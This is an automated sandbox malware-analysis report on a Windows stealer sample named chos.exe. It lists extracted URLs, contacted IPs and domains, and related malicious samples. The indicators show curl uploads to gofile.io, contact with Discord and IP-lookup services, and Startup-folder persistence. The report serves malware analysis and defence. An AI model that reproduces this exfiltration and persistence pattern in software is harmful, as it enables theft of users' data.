                                                                                              https://github.com/python/cpython/issues/86361.chos.exe, 00000002.00000003.1478340357.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1475894863.00000159554F4000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1477382744.00000159554E8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1475182879.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1471998021.0000015955871000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1466781370.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1474442517.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1479078693.00000159554EC000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1476788640.00000159554E7000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1472058557.00000159554F6000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1466452584.0000015955870000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1698106515.00000211B7BC3000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1701143564.00000211B7BC3000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1688635680.00000211B7C23000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1692731139.00000211B7BC3000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1687566933.00000211B7C23000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1689458854.00000211B7BB4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://httpbin.org/chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://www.apache.org/licenses/chos.exe, 0000000A.00000003.1654672093.00000243B8843000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=mainchos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gzchos.exe, 00000002.00000003.1477854412.00000159557BC000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1478209771.00000159558E3000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1699028639.00000211B7FFE000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1694956038.00000211B8083000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1695029112.00000211B80C9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      http://cacerts.digDchos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://docs.python.org/3/reference/import.html#finders-and-loaderschos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://store4.gofile.io/uploadFileHcmd.exe, 00000007.00000002.1628124725.00000160E33C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://img.shields.io/badge/skeleton-2024-informationalchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://packaging.python.org/en/latest/specifications/pyproject-toml/#declaring-project-metadata-thechos.exe, 00000011.00000003.1703493750.00000211B80F1000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535chos.exe, 00000011.00000003.1703493750.00000211B80F1000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B822E000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1709016306.00000211B81B9000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://cryptography.io/en/latest/installation/chos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://docs.python.org/3/library/multiprocessing.htmlchos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://store4.gofile.io/uploadFileTEM32curl.exe, 00000010.00000002.1681576960.000001DB46B84000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://store4.gofile.io/uploadFilecurlcurl.exe, 00000009.00000002.1627146371.000001791A2F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.1653713527.000001C952E00000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000002.1681576960.000001DB46B70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        http://hg.python.orchos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        • Avira URL Cloud: safe
                                                                                                                        		unknown
                                                                                                                        https://cryptography.io/en/latest/security/chos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://crl.xrampsecurity.com/XGCA.crl0chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://urllib3.rQchos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            		unknown
                                                                                                                            http://www.cert.fnmt.es/dpcs/chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://setuptools.pypa.io/en/latest/pkg_resources.htmlchos.exe, 00000002.00000003.1464049106.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463649027.000001595553D000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000002.00000003.1463557293.00000159557E0000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1683693472.00000211B7CEA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://google.com/mailchos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1706710429.00000211B81E4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://img.shields.io/pypi/v/importlib_metadata.svgchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://store4.gofile.io/uploadFileqHvcmd.exe, 0000000B.00000002.1654510529.000001B934D00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://www.rfc-editor.org/info/rfc7253chos.exe, 00000011.00000003.1742097208.00000211B8D94000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://github.com/pyca/cryptography/issueschos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://gofile.io/d/9ytA9Kcurl.exe, 0000000D.00000003.1652229789.000001C952E28000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1651751047.000001C952E80000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1652087177.000001C952E9A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1651140358.000001C952E67000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1651140358.000001C952E80000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1651140358.000001C952E9A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.1653713527.000001C952E9A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1651751047.000001C952E67000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1652087177.000001C952E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://readthedocs.org/projects/cryptography/badge/?version=latestchos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1709016306.00000211B81B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://store4.gofile.io/uploadFileocmd.exe, 00000007.00000002.1628124725.00000160E33F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://google.com/chos.exe, 00000011.00000003.1703493750.00000211B8129000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B822E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://mahler:8092/site-updates.pychos.exe, 00000011.00000003.1699028639.00000211B7FFE000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1694956038.00000211B8083000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://store4.gofile.io/Jcmd.exe, 0000002F.00000002.1912110090.00000263A5EEB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://tools.ietf.org/html/rfc7231#section-4.3.6)chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1697091350.00000211B80F9000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://github.com/pyca/cryptographychos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.htmlchos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1742097208.00000211B8D94000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://cryptography.io/chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://httpbin.org/postchos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsNchos.exe, 00000011.00000003.1703493750.00000211B822E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://github.com/pyca/cryptography/chos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://github.com/Ousret/charset_normalizerchos.exe, 00000011.00000003.1706710429.00000211B8253000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://img.shields.io/pypi/pyversions/importlib_metadata.svgchos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://tidelift.com/badges/package/pypi/importlib-metadatachos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://github.com/urllib3/urllib3/issues/2920chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://store4.gofile.io/cmd.exe, 00000007.00000002.1628124725.00000160E33CB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.1850416619.0000023A6EC6B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              http://crl.securetrust.com/SGCA.crl0chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_datachos.exe, 00000011.00000003.1674571294.00000211B77F5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1680761245.00000211B77FD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://yahoo.com/chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1706710429.00000211B81E4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    http://crl.securetrust.com/STCA.crl0chos.exe, 00000011.00000003.1740812158.00000211B80B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22chos.exe, 0000000A.00000003.1664958699.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://gofile.io/d/ZbU3dfcurl.exe, 00000009.00000003.1626823097.000001791A33F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626666877.000001791A373000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626540508.000001791A373000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626666877.000001791A359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626757795.000001791A373000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626737616.000001791A33E000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626540508.000001791A359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626784083.000001791A318000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.1627252326.000001791A33F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626619878.000001791A33E000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.1626937486.000001791A33F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6chos.exe, 00000011.00000003.1701567430.00000211B80EE000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://store4.gofile.io.uploadFilecurl.exe, 00000031.00000002.1909714243.0000028AD0A71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            https://html.spec.whatwg.org/multipage/chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1703493750.00000211B81B8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1709016306.00000211B81B9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              http://www.quovadisglobal.com/cps0chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://cryptography.io/en/latest/changelog/chos.exe, 00000000.00000003.1436317355.0000018B76865000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1653929981.00000243B8846000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  https://www.rfc-editor.org/rfc/rfc8259#section-8.1chos.exe, 00000011.00000003.1703174546.00000211B826C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		high

                                                                                                                                                                                                    World Map of Contacted IPs

                                                                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                                                                    Public IPs

                                                                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                    104.26.12.205
                                                                                                                                                                                                    		api.ipify.orgUnited States
                                                                                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                    162.159.138.232
                                                                                                                                                                                                    		discord.comUnited States
                                                                                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                    45.112.123.126
                                                                                                                                                                                                    		api.gofile.ioSingapore
                                                                                                                                                                                                    		16509AMAZON-02USfalse
                                                                                                                                                                                                    159.89.102.253
                                                                                                                                                                                                    		geolocation-db.comUnited States
                                                                                                                                                                                                    		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                    31.14.70.245
                                                                                                                                                                                                    		store4.gofile.ioVirgin Islands (BRITISH)
                                                                                                                                                                                                    		199483LINKER-ASFRfalse

                                                                                                                                                                                                    Private

                                                                                                                                                                                                    IP
                                                                                                                                                                                                    127.0.0.1

                                                                                                                                                                                                    General Information

                                                                                                                                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                    Analysis ID:1574329
                                                                                                                                                                                                    Start date and time:2024-12-13 08:43:46 +01:00
                                                                                                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                                                                                                    Overall analysis duration:0h 10m 32s
                                                                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                                                                    Report type:full
                                                                                                                                                                                                    Cookbook file name:default.jbs
                                                                                                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                    Number of analysed new started processes analysed:51
                                                                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                                                                    Technologies:
                                                                                                                                                                                                    • HCA enabled
                                                                                                                                                                                                    • EGA enabled
                                                                                                                                                                                                    • AMSI enabled
                                                                                                                                                                                                    Analysis Mode:default
                                                                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                                                                    Sample name:chos.exe
                                                                                                                                                                                                    Detection:MAL
                                                                                                                                                                                                    Classification:mal80.adwa.spyw.winEXE@77/198@5/6
                                                                                                                                                                                                    EGA Information:
                                                                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                                                                    HCA Information:
                                                                                                                                                                                                    • Successful, ratio: 99%
                                                                                                                                                                                                    • Number of executed functions: 79
                                                                                                                                                                                                    • Number of non-executed functions: 115
                                                                                                                                                                                                    Cookbook Comments:
                                                                                                                                                                                                    • Found application associated with file extension: .exe

                                                                                                                                                                                                    Warnings

                                                                                                                                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 20.12.23.50
                                                                                                                                                                                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                    • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                                                                    • VT rate limit hit for: chos.exe

                                                                                                                                                                                                    Simulations

                                                                                                                                                                                                    Behavior and APIs

                                                                                                                                                                                                    TimeTypeDescription
                                                                                                                                                                                                    08:44:54AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe

                                                                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                                                                    IPs

                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                    104.26.12.205jgbC220X2U.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                    • api.ipify.org/?format=text
                                                                                                                                                                                                    xKvkNk9SXR.exeGet hashmaliciousTrojanRansomBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    GD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    Simple2.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    Ransomware Mallox.exeGet hashmaliciousTargeted RansomwareBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    Yc9hcFC1ux.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    6706e721f2c06.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    perfcc.elfGet hashmaliciousXmrigBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                                                                                    • api.ipify.org/
                                                                                                                                                                                                    162.159.138.232apDMcnqqWs.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      Cooperative Agreement0000800380.docx.exeGet hashmaliciousBabadeda, Blank GrabberBrowse
                                                                                                                                                                                                        speedymaqing.exeGet hashmaliciousPython Stealer, Discord Token StealerBrowse
                                                                                                                                                                                                          RuntimeusererVers.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                            file.exeGet hashmaliciousCStealerBrowse
                                                                                                                                                                                                              dens.exeGet hashmaliciousPython Stealer, Exela Stealer, Waltuhium GrabberBrowse
                                                                                                                                                                                                                yuki.exeGet hashmaliciousLuna StealerBrowse
                                                                                                                                                                                                                  file.exeGet hashmaliciousGrowtopiaBrowse
                                                                                                                                                                                                                    SecuriteInfo.com.Win64.Malware-gen.13500.20938.exeGet hashmaliciousPython Stealer, Exela StealerBrowse
                                                                                                                                                                                                                      runtime.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                        Domains

                                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                        discord.comshost.exeGet hashmaliciousPython Stealer, Muck StealerBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        sppawx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        ahost.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        wsapx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        WE8zqotCFj.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                                                                        • 162.159.137.232
                                                                                                                                                                                                                        ozAxx9uGHu.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        eCXXUk54sx.exeGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                                                                                        • 162.159.128.233
                                                                                                                                                                                                                        apDMcnqqWs.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 162.159.138.232
                                                                                                                                                                                                                        https://github.com/Matty77o/malware-samples-m-h/blob/main/TheTrueFriend.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRATBrowse
                                                                                                                                                                                                                        • 162.159.128.233
                                                                                                                                                                                                                        store4.gofile.ioPdf Reader.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        FpiUD4nYpj.exeGet hashmaliciousLummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exeGet hashmaliciousLummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        7Y18r(14).exeGet hashmaliciousLummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        w85VkFOxiD.exeGet hashmaliciousPython Stealer, CStealer, NiceRAT, QuasarBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        9afaXJv52z.exeGet hashmaliciousExela StealerBrowse
                                                                                                                                                                                                                        • 31.14.70.245
